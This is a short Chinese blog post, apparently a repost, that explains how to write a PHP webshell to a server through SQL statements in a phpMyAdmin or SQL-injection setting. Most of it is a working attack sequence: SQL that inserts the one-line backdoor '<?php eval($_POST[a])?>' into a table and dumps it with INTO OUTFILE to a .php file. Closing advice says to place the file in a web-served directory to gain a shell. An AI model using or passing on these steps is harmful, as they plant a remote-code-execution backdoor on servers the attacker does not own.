如何通过SQL语句写入webshell

最新推荐文章于 2024-07-01 22:54:08 发布

weixin_33720956

最新推荐文章于 2024-07-01 22:54:08 发布

阅读量1.8k

点赞数 1

文章标签： shell 数据库 php

原文链接：http://www.cnblogs.com/showery/p/9260923.html

版权

在web应用场景下，经常会碰到SQL注入场景，如页面能够执行SQL语句，那么可能会有直接通过SQL语句写入webshell的风险，常见的phpmyadmin环境下，通过几个语句可以轻松将一句话木马写入到服务器文件，如下：

use test; //进入数据库
create table test (shell text not null); //创建表
insert into test (shell) values('<?php eval($_POST[a])?>'); //插入表单数据
select shell from test into outfile 'C:/shell.php'; //写入文件
drop table test; //删除表

完成后，在C盘下即可看到shell.php文件，一般情况下将其写入到服务器虚拟主机相关目录，确保能够访问，后面即可通过getshell了

转载于:https://www.cnblogs.com/showery/p/9260923.html